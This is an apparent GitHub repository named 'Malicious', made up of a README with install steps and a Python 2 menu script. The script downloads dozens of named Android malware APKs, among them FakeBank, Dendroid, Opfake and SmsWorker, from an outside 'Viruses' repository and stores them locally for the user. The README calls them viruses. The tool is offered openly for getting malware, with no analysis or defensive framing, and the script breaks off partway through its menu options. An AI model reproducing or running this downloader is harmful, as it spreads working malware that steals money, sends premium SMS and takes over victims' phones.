├── .gitignore ├── Android └── DONT CHANGE NAME THIS FOLDER ├── LICENSE ├── Macosx └── DONT CHANGE NAME THIS FOLDER ├── Pdf-autorun-windows └── DONT CHANGE NAME THIS FOLDER ├── README.md ├── Shell-virus └── DONT CHANGE NAME THIS FOLDER ├── Windows └── DONT CHANGE NAME THIS FOLDER ├── Worm-and-Bombzip └── DONT CHANGE NAME THIS FOLDER ├── image ├── Android.jpg ├── Test └── ss.jpg ├── malicious.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /Android/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Hider5 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Macosx/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /Pdf-autorun-windows/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malicious 2 | ![](https://img.shields.io/badge/Python-2.7/2.6-yellowgreen.svg) 3 | ![](https://img.shields.io/badge/version-1.1-brightgreen.svg) 4 | ## Requirements pip2 and gem 5 | ![](https://img.shields.io/badge/pip2-requests%20&%20tqdm-brightgreen.svg) 6 | ![](https://img.shields.io/badge/gem-lolcat-blue.svg) 7 | 8 | 9 | ![alt text](https://github.com/Hider5/Malicious/blob/master/image/ss.jpg) 10 | 11 | ### Installation Termux 12 | ``` 13 | $termux-setup-storage 14 | $cd /sdcard 15 | $pkg install git 16 | $pkg install python2 17 | $pkg install ruby 18 | $gem install lolcat 19 | $git clone https://github.com/Hider5/Malicious 20 | $cd Malicious 21 | $pip2 install -r requirements.txt 22 | $python2 malicious.py 23 | ``` 24 | *after download virus open your file explorer* 25 | 26 | *find folder Malicious and open it* 27 | 28 | *chose and open folder Android if you download virus Android* 29 | ### Installation Linux 30 | ``` 31 | $apt-get install git 32 | $apt-get install python2 ruby 33 | $gem install lolcat 34 | $git clone https://github.com/Hider5/Malicious 35 | $cd Malicious 36 | $pip2 install -r requirements.txt 37 | $python2 malicious.py 38 | ``` 39 | -------------------------------------------------------------------------------- /Shell-virus/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /Windows/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /Worm-and-Bombzip/DONT CHANGE NAME THIS FOLDER: -------------------------------------------------------------------------------- 1 | WARNING 2 | Dont Change name this folder 3 | -------------------------------------------------------------------------------- /image/Android.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mrdarktutorial/Malicious/428cc7cd1be5c678997c88073835890b9402d2ba/image/Android.jpg -------------------------------------------------------------------------------- /image/Test: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /image/ss.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Mrdarktutorial/Malicious/428cc7cd1be5c678997c88073835890b9402d2ba/image/ss.jpg -------------------------------------------------------------------------------- /malicious.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | #####DONT CHANGE THIS######## 4 | import sys,os,platform 5 | from time import * 6 | x = platform.system() 7 | import requests 8 | from tqdm import tqdm 9 | #--- Color ---# 10 | W = '\033[0m' # white (default) 11 | R = '\033[31m' # red 12 | G = '\033[1;32m' # green bold 13 | O = '\033[33m' # orange 14 | B = '\033[34m' # blue 15 | P = '\033[35m' # purple 16 | C = '\033[36m' # cyan 17 | GR = '\033[37m' # gray 18 | fun = "Download Succes ^_^" 19 | 20 | now = strftime("%T") 21 | bulan = strftime("%B") 22 | tahun = strftime("%Y") 23 | #--- Def menu ---# 24 | def banner(): 25 | os.system('printf "\t\t_ _ ____ _ _ ____ _ ____ _ _ ____\n\t\t|\/| |__| | | | | | | | | [__ \n\t\t| | | | |___ | |___ | |__| |__| ___]\n\n" | lolcat') 26 | #print(""+R+"I "+C+"████╗ ████║██╔══██╗██║ ██║██╔════╝██║██╔═══██╗██║ ██║██╔════╝ "+R+"I") 27 | #print(""+R+"R "+C+"██╔████╔██║███████║██║ ██║██║ ██║██║ ██║██║ ██║███████╗ "+R+"R") 28 | # print(""+R+"U "+C+"██║╚██╔╝██║██╔══██║██║ ██║██║ ██║██║ ██║██║ ██║╚════██║ "+R+"U") 29 | # print(""+R+"S "+C+"██║ ╚═╝ ██║██║ ██║███████╗██║╚██████╗██║╚██████╔╝╚██████╔╝███████║ "+R+"S") 30 | # print(""+R+"! "+C+"╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═════╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ "+R+"!") 31 | def about(): 32 | print("\t\t"+B+"<<<<<<| "+R+"About Tool "+B+"|>>>>>>\n") 33 | print("\t"+G+"Made"+B+" with full"+R+" <3"+B+"\t\t") 34 | print("\tAuthor : Hider5\t\t\t") 35 | print("\tVersion : 1.1\t\t\t") 36 | print("\tTeam : "+R+"LoOlzec Security") 37 | print("\t"+B+"Thanks to Deray") 38 | menu() 39 | 40 | def banner2(): 41 | print(""+O+"") 42 | 43 | def fontcolor(): 44 | print(""+W+"") 45 | #######DONT CHANGE THIS######### 46 | 47 | #################### START ANDROID 48 | def Vandroid(): 49 | print(""+O+"["+R+"1"+O+"] Agent\t\t["+R+"15"+O+"] Elite\t\t["+R+"29"+O+"] Prasesfee") 50 | print(""+O+"["+R+"2"+O+"] Badnews\t\t["+R+"16"+O+"] Omigo\t\t["+R+"30"+O+"] RecipeSmart") 51 | print(""+O+"["+R+"3"+O+"] Bios\t\t["+R+"17"+O+"] Opfake\t\t["+R+"31"+O+"] Romaticpos") 52 | print(""+O+"["+R+"4"+O+"] BlatanSMS\t\t["+R+"18"+O+"] SmsWorker\t\t["+R+"32"+O+"] Statetss") 53 | print(""+O+"["+R+"5"+O+"] BrainTest\t\t["+R+"19"+O+"] Vietcon\t\t["+R+"33"+O+"] Thinking") 54 | print(""+O+"["+R+"6"+O+"] Claco\t\t["+R+"20"+O+"] Candycorn\t\t["+R+"34"+O+"] Crd") 55 | print(""+O+"["+R+"7"+O+"] DropDialer\t\t["+R+"21"+O+"] Cat\t\t["+R+"35"+O+"] Dendroid") 56 | print(""+O+"["+R+"8"+O+"] FakeBank\t\t["+R+"22"+O+"] Chistescortos\t["+R+"36"+O+"] Ds") 57 | print(""+O+"["+R+"9"+O+"] FakeCMCC\t\t["+R+"23"+O+"] Chistespicanticos\t["+R+"37"+O+"] Facebook") 58 | print(""+O+"["+R+"10"+O+"] FakeDoc\t\t["+R+"24"+O+"] ComFunnys\t\t["+R+"38"+O+"] Fakeav") 59 | print(""+O+"["+R+"11"+O+"] FakeValidation\t["+R+"25"+O+"] ComImagePets\t["+R+"39"+O+"] ArtStation") 60 | print(""+O+"["+R+"12"+O+"] Fobus\t\t["+R+"26"+O+"] ComKitchen\t\t["+R+"40"+O+"] MusicPlayer") 61 | print(""+O+"["+R+"13"+O+"] GinMaster\t\t["+R+"27"+O+"] ComLaughtter\t["+R+"41"+O+"] Settings") 62 | print(""+O+"["+R+"14"+O+"] Masnu\t\t["+R+"28"+O+"] Prasesamor\t\t["+R+"42"+O+"] Back") 63 | 64 | try: 65 | menu1 = input("Input Number > "+R+"") 66 | if menu1 == 1:#############done 67 | print(""+G+"") 68 | chunk_size = 1024 69 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Agent.apk?raw=true' 70 | r = requests.get(url, stream = True) 71 | size = int(r.headers['content-length']) 72 | filename = url.split('/')[-1] 73 | with open(filename, 'wb') as f: 74 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 75 | f.write(data) 76 | os.system("mv 'Agent.apk?raw=true' Android/Agent.apk") 77 | print(fun)######done 78 | 79 | elif menu1 == 2:#####done 80 | print(""+G+"") 81 | chunk_size = 1024 82 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/BadNews.A.apk?raw=true' 83 | r = requests.get(url, stream = True) 84 | size = int(r.headers['content-length']) 85 | filename = url.split('/')[-1] 86 | with open(filename, 'wb') as f: 87 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 88 | f.write(data) 89 | os.system("mv 'BadNews.A.apk?raw=true' Android/BadNews.apk") 90 | print(fun)#######done 91 | 92 | elif menu1 == 3:#####done 93 | print(""+G+"") 94 | chunk_size = 1024 95 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Bios.NativeMaliciousCode.apk?raw=true' 96 | r = requests.get(url, stream = True) 97 | size = int(r.headers['content-length']) 98 | filename = url.split('/')[-1] 99 | with open(filename, 'wb') as f: 100 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 101 | f.write(data) 102 | os.system("mv 'Bios.NativeMaliciousCode.apk?raw=true' Android/Bios.apk") 103 | print(fun)#####done 104 | 105 | elif menu1 == 4:########done 106 | print(""+G+"") 107 | chunk_size = 1024 108 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Blatantsms.apk?raw=true' 109 | r = requests.get(url, stream = True) 110 | size = int(r.headers['content-length']) 111 | filename = url.split('/')[-1] 112 | with open(filename, 'wb') as f: 113 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 114 | f.write(data) 115 | os.system("mv 'Blatantsms.apk?raw=true' Android/Blatantsms.apk") 116 | print(fun)#####done 117 | 118 | elif menu1 == 5:#####done 119 | print(""+G+"") 120 | chunk_size = 1024 121 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/BrainTest.apk?raw=true' 122 | r = requests.get(url, stream = True) 123 | size = int(r.headers['content-length']) 124 | filename = url.split('/')[-1] 125 | with open(filename, 'wb') as f: 126 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 127 | f.write(data) 128 | os.system("mv 'BrainTest.apk?raw=true' Android/BrainTest.apk") 129 | print(fun)#####done 130 | 131 | elif menu1 == 6:##########done 132 | print(""+G+"") 133 | chunk_size = 1024 134 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Claco.A.apk?raw=true' 135 | r = requests.get(url, stream = True) 136 | size = int(r.headers['content-length']) 137 | filename = url.split('/')[-1] 138 | with open(filename, 'wb') as f: 139 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 140 | f.write(data) 141 | os.system("mv 'Claco.A.apk?raw=true' Android/Claco.apk") 142 | print(fun)#####done 143 | 144 | elif menu1 == 7:####done 145 | print(""+G+"") 146 | chunk_size = 1024 147 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Dropdialer.apk?raw=true' 148 | r = requests.get(url, stream = True) 149 | size = int(r.headers['content-length']) 150 | filename = url.split('/')[-1] 151 | with open(filename, 'wb') as f: 152 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 153 | f.write(data) 154 | os.system("mv 'Dropdialer.apk?raw=true' Android/DropDialer.apk") 155 | print(fun)#####done 156 | 157 | elif menu1 == 8:#####done 158 | print(""+G+"") 159 | chunk_size = 1024 160 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeBank.B.apk?raw=true' 161 | r = requests.get(url, stream = True) 162 | size = int(r.headers['content-length']) 163 | filename = url.split('/')[-1] 164 | with open(filename, 'wb') as f: 165 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 166 | f.write(data) 167 | os.system("mv 'FakeBank.B.apk?raw=true' Android/FakeBank.apk") 168 | print(fun)#####done 169 | 170 | elif menu1 == 9:######done 171 | print(""+G+"") 172 | chunk_size = 1024 173 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeCMCC.A.apk?raw=true' 174 | r = requests.get(url, stream = True) 175 | size = int(r.headers['content-length']) 176 | filename = url.split('/')[-1] 177 | with open(filename, 'wb') as f: 178 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 179 | f.write(data) 180 | os.system("mv 'FakeCMCC.A.apk?raw=true' Android/FakeCMCC.apk") 181 | print(fun)#####done 182 | 183 | elif menu1 == 10:#####done 184 | print(""+G+"") 185 | chunk_size = 1024 186 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeDoc.apk?raw=true' 187 | r = requests.get(url, stream = True) 188 | size = int(r.headers['content-length']) 189 | filename = url.split('/')[-1] 190 | with open(filename, 'wb') as f: 191 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 192 | f.write(data) 193 | os.system("mv 'FakeDoc.apk?raw=true' Android/FakeDoc.apk") 194 | print(fun)#####done 195 | 196 | elif menu1 == 11:#####done 197 | print(""+G+"") 198 | chunk_size = 1024 199 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/FakeValidation.apk?raw=true' 200 | r = requests.get(url, stream = True) 201 | size = int(r.headers['content-length']) 202 | filename = url.split('/')[-1] 203 | with open(filename, 'wb') as f: 204 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 205 | f.write(data) 206 | os.system("mv 'FakeValidation.apk?raw=true' Android/FakeValidation.apk") 207 | print(fun)#####done 208 | 209 | elif menu1 == 12:####done 210 | print(""+G+"") 211 | chunk_size = 1024 212 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Fobus.apk?raw=true' 213 | r = requests.get(url, stream = True) 214 | size = int(r.headers['content-length']) 215 | filename = url.split('/')[-1] 216 | with open(filename, 'wb') as f: 217 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 218 | f.write(data) 219 | os.system("mv 'Fobus.apk?raw=true' Android/Fobus.apk") 220 | print(fun)#####done 221 | 222 | elif menu1 == 13:####done 223 | print(""+G+"") 224 | chunk_size = 1024 225 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/GinMaster.Z.AdvancedObfuscation.apk?raw=true' 226 | r = requests.get(url, stream = True) 227 | size = int(r.headers['content-length']) 228 | filename = url.split('/')[-1] 229 | with open(filename, 'wb') as f: 230 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 231 | f.write(data) 232 | os.system("mv 'GinMaster.Z.AdvancedObfuscation.apk?raw=true' Android/GinMaster.apk") 233 | print(fun)#####done 234 | 235 | elif menu1 == 14:###done 236 | print(""+G+"") 237 | chunk_size = 1024 238 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Masnu.apk?raw=true' 239 | r = requests.get(url, stream = True) 240 | size = int(r.headers['content-length']) 241 | filename = url.split('/')[-1] 242 | with open(filename, 'wb') as f: 243 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 244 | f.write(data) 245 | os.system("mv 'Masnu.apk?raw=true' Android/Masnu.apk") 246 | print(fun)#####done 247 | 248 | elif menu1 == 15:####done 249 | print(""+G+"") 250 | chunk_size = 1024 251 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Minecraft2.apk?raw=true' 252 | r = requests.get(url, stream = True) 253 | size = int(r.headers['content-length']) 254 | filename = url.split('/')[-1] 255 | with open(filename, 'wb') as f: 256 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 257 | f.write(data) 258 | os.system("mv 'Minecraft2.apk?raw=true' Android/Elite.apk") 259 | print(fun)#####done 260 | 261 | elif menu1 == 16:####done 262 | print(""+G+"") 263 | chunk_size = 1024 264 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Omigo.apk?raw=true' 265 | r = requests.get(url, stream = True) 266 | size = int(r.headers['content-length']) 267 | filename = url.split('/')[-1] 268 | with open(filename, 'wb') as f: 269 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 270 | f.write(data) 271 | os.system("mv 'Omigo.apk?raw=true' Android/Omigo.apk") 272 | print(fun)#####done 273 | 274 | elif menu1 == 17:####done 275 | print(""+G+"") 276 | chunk_size = 1024 277 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Opfake.apk?raw=true' 278 | r = requests.get(url, stream = True) 279 | size = int(r.headers['content-length']) 280 | filename = url.split('/')[-1] 281 | with open(filename, 'wb') as f: 282 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 283 | f.write(data) 284 | os.system("mv 'Opfake.apk?raw=true' Android/Opfake.apk") 285 | print(fun)#####done 286 | 287 | elif menu1 == 18:####done 288 | print(""+G+"") 289 | chunk_size = 1024 290 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/SmsWorker.apk?raw=true' 291 | r = requests.get(url, stream = True) 292 | size = int(r.headers['content-length']) 293 | filename = url.split('/')[-1] 294 | with open(filename, 'wb') as f: 295 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 296 | f.write(data) 297 | os.system("mv 'SmsWorker.apk?raw=true' Android/SmsWorker.apk") 298 | print(fun)#####done 299 | 300 | elif menu1 == 19:####done 301 | print(""+G+"") 302 | chunk_size = 1024 303 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Vietcon.apk?raw=true' 304 | r = requests.get(url, stream = True) 305 | size = int(r.headers['content-length']) 306 | filename = url.split('/')[-1] 307 | with open(filename, 'wb') as f: 308 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 309 | f.write(data) 310 | os.system("mv 'Vietcon.apk?raw=true' Android/Vietcon.apk") 311 | print(fun)#####done 312 | 313 | elif menu1 == 20:####done 314 | print(""+G+"") 315 | chunk_size = 1024 316 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/candy_corn.apk?raw=true' 317 | r = requests.get(url, stream = True) 318 | size = int(r.headers['content-length']) 319 | filename = url.split('/')[-1] 320 | with open(filename, 'wb') as f: 321 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 322 | f.write(data) 323 | os.system("mv 'candy_corn.apk?raw=true' Android/Candycorn.apk") 324 | print(fun)#####done 325 | 326 | elif menu1 == 21:####done 327 | print(""+G+"") 328 | chunk_size = 1024 329 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/cat.apk?raw=true' 330 | r = requests.get(url, stream = True) 331 | size = int(r.headers['content-length']) 332 | filename = url.split('/')[-1] 333 | with open(filename, 'wb') as f: 334 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 335 | f.write(data) 336 | os.system("mv 'cat.apk?raw=true' Android/Cat.apk") 337 | print(fun)#####done 338 | 339 | elif menu1 == 22:####done 340 | print(""+G+"") 341 | chunk_size = 1024 342 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/chistescortos.apk?raw=true' 343 | r = requests.get(url, stream = True) 344 | size = int(r.headers['content-length']) 345 | filename = url.split('/')[-1] 346 | with open(filename, 'wb') as f: 347 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 348 | f.write(data) 349 | os.system("mv 'chistescortos.apk?raw=true' Android/Chistescortos.apk") 350 | print(fun)#####done 351 | 352 | elif menu1 == 23:####done 353 | print(""+G+"") 354 | chunk_size = 1024 355 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/chistespicanticos.apk?raw=true' 356 | r = requests.get(url, stream = True) 357 | size = int(r.headers['content-length']) 358 | filename = url.split('/')[-1] 359 | with open(filename, 'wb') as f: 360 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 361 | f.write(data) 362 | os.system("mv 'chistespicanticos.apk?raw=true' Android/Chistespicanticos.apk") 363 | print(fun)#####done 364 | 365 | elif menu1 == 24:####done 366 | print(""+G+"") 367 | chunk_size = 1024 368 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.funnyys.apk?raw=true' 369 | r = requests.get(url, stream = True) 370 | size = int(r.headers['content-length']) 371 | filename = url.split('/')[-1] 372 | with open(filename, 'wb') as f: 373 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 374 | f.write(data) 375 | os.system("mv 'com.funnyys.apk?raw=true' Android/ComFunnys.apk") 376 | print(fun)#####done 377 | 378 | elif menu1 == 25:####done 379 | print(""+G+"") 380 | chunk_size = 1024 381 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.imagepets.apk?raw=true' 382 | r = requests.get(url, stream = True) 383 | size = int(r.headers['content-length']) 384 | filename = url.split('/')[-1] 385 | with open(filename, 'wb') as f: 386 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 387 | f.write(data) 388 | os.system("mv 'com.imagepets.apk?raw=true' Android/ComImagePets.apk") 389 | print(fun)#####done 390 | 391 | elif menu1 == 26:####done 392 | print(""+G+"") 393 | chunk_size = 1024 394 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.kitchenn.apk?raw=true' 395 | r = requests.get(url, stream = True) 396 | size = int(r.headers['content-length']) 397 | filename = url.split('/')[-1] 398 | with open(filename, 'wb') as f: 399 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 400 | f.write(data) 401 | os.system("mv 'com.kitchenn.apk?raw=true' Android/ComKitchen.apk") 402 | print(fun)#####done 403 | 404 | elif menu1 == 27:####done 405 | print(""+G+"") 406 | chunk_size = 1024 407 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.laughtter.apk?raw=true' 408 | r = requests.get(url, stream = True) 409 | size = int(r.headers['content-length']) 410 | filename = url.split('/')[-1] 411 | with open(filename, 'wb') as f: 412 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 413 | f.write(data) 414 | os.system("mv 'com.laughtter.apk?raw=true' Android/ComLaughtter.apk") 415 | print(fun)#####done 416 | 417 | elif menu1 == 28:####done 418 | print(""+G+"") 419 | chunk_size = 1024 420 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.prasesamor.apk?raw=true' 421 | r = requests.get(url, stream = True) 422 | size = int(r.headers['content-length']) 423 | filename = url.split('/')[-1] 424 | with open(filename, 'wb') as f: 425 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 426 | f.write(data) 427 | os.system("mv 'com.prasesamor.apk?raw=true' Android/Prasesamor.apk") 428 | print(fun)#####done 429 | 430 | elif menu1 == 29:#####done 431 | print(""+G+"") 432 | chunk_size = 1024 433 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.prasesfee.apk?raw=true' 434 | r = requests.get(url, stream = True) 435 | size = int(r.headers['content-length']) 436 | filename = url.split('/')[-1] 437 | with open(filename, 'wb') as f: 438 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 439 | f.write(data) 440 | os.system("mv 'com.prasesfee.apk?raw=true' Android/Prasesfee.apk") 441 | print(fun)#####done 442 | 443 | elif menu1 == 30:####done 444 | print(""+G+"") 445 | chunk_size = 1024 446 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.recipesmart.apk?raw=true' 447 | r = requests.get(url, stream = True) 448 | size = int(r.headers['content-length']) 449 | filename = url.split('/')[-1] 450 | with open(filename, 'wb') as f: 451 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 452 | f.write(data) 453 | os.system("mv 'com.recipesmart.apk?raw=true' Android/Recipesmart.apk") 454 | print(fun)#####done 455 | 456 | elif menu1 == 31:####done 457 | print(""+G+"") 458 | chunk_size = 1024 459 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.romaticpos.apk?raw=true' 460 | r = requests.get(url, stream = True) 461 | size = int(r.headers['content-length']) 462 | filename = url.split('/')[-1] 463 | with open(filename, 'wb') as f: 464 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 465 | f.write(data) 466 | os.system("mv 'com.romaticpos.apk?raw=true' Android/Romaticpos.apk") 467 | print(fun)#####done 468 | 469 | elif menu1 == 32:####done 470 | print(""+G+"") 471 | chunk_size = 1024 472 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.statetss.apk?raw=true' 473 | r = requests.get(url, stream = True) 474 | size = int(r.headers['content-length']) 475 | filename = url.split('/')[-1] 476 | with open(filename, 'wb') as f: 477 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 478 | f.write(data) 479 | os.system("mv 'com.statetss.apk?raw=true' Android/Statetss.apk") 480 | print(fun)#####done 481 | 482 | elif menu1 == 33:####done 483 | print(""+G+"") 484 | chunk_size = 1024 485 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/com.thinkking.apk?raw=true' 486 | r = requests.get(url, stream = True) 487 | size = int(r.headers['content-length']) 488 | filename = url.split('/')[-1] 489 | with open(filename, 'wb') as f: 490 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 491 | f.write(data) 492 | os.system("mv 'com.thinkking.apk?raw=true' Android/Thinkking.apk") 493 | print(fun)#####done 494 | 495 | elif menu1 == 34:####done 496 | print(""+G+"") 497 | chunk_size = 1024 498 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/crd.apk?raw=true' 499 | r = requests.get(url, stream = True) 500 | size = int(r.headers['content-length']) 501 | filename = url.split('/')[-1] 502 | with open(filename, 'wb') as f: 503 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 504 | f.write(data) 505 | os.system("mv 'crd.apk?raw=true' Android/Crd.apk") 506 | print(fun)#####done 507 | 508 | elif menu1 == 35:####done 509 | print(""+G+"") 510 | chunk_size = 1024 511 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/dendroid.apk?raw=true' 512 | r = requests.get(url, stream = True) 513 | size = 